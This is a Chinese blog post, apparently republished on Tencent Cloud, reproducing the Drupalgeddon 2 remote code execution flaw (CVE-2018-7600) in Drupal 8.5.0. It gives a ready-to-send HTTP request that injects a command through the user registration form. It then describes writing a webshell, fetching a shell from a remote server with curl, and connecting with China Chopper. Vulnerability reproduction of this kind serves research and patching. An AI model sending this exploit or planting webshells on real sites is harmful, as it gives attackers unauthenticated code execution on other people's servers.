首页
学习
活动
专区
工具
TVP
发布

Drupal 远程代码执行漏洞

0x01 前言

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开放框架(Framework)共同构成,连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。全世界有超过一百万个站点(包括政府,电子零售,企业组织,金融机构等)使用它们。

0x02 漏洞详情

Drupal安全团队披露了一个非常关键的(25/25 NIST排名)漏洞,绰号为Drupalgeddon 2(SA-CORE-2018-002 / CVE-2018-7600)。此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。

0x03 漏洞编号

CVE-2018-7600

0x04 影响范围

从6到8的所有Drupal版本都存在漏洞

0x05 漏洞原理

http://www.venenof.com/index.php/archives/529/

https://paper.seebug.org/567/

https://research.checkpoint.com/uncovering-drupalgeddon-2/

0x06 复现环境

Drupal 8.5.0

0x07 漏洞复现

1、漏洞的触发点是在用户注册上传头像处

2、发送以下数据包即可检测和利用该漏洞

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1

Host: IP:8888

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 107

form_id=user_register_form&_drupal_ajax=1&mail[#post_render]=exec&mail[#type]=markup&mail[#markup]=whoami

3、在利用的过程中可以使用linux的tee

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

tee存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。

4、写一句话木马

发现一句话被过滤一些内容并且内容并没有被解析。

思路就是利用curl 获取远程服务器的shell。

远程服务器文件内容如下:

zksmile@xxx:/var/www/html/zk$ cat one.txt

zksmile@xxx:/var/www/html/zk$

执行:

这个时候一句话木马也上传成功了,文件也没有问题,但是使用菜刀连接时一直连接不成,此时换一个大马,成功解析。

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180904G0HC7C00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券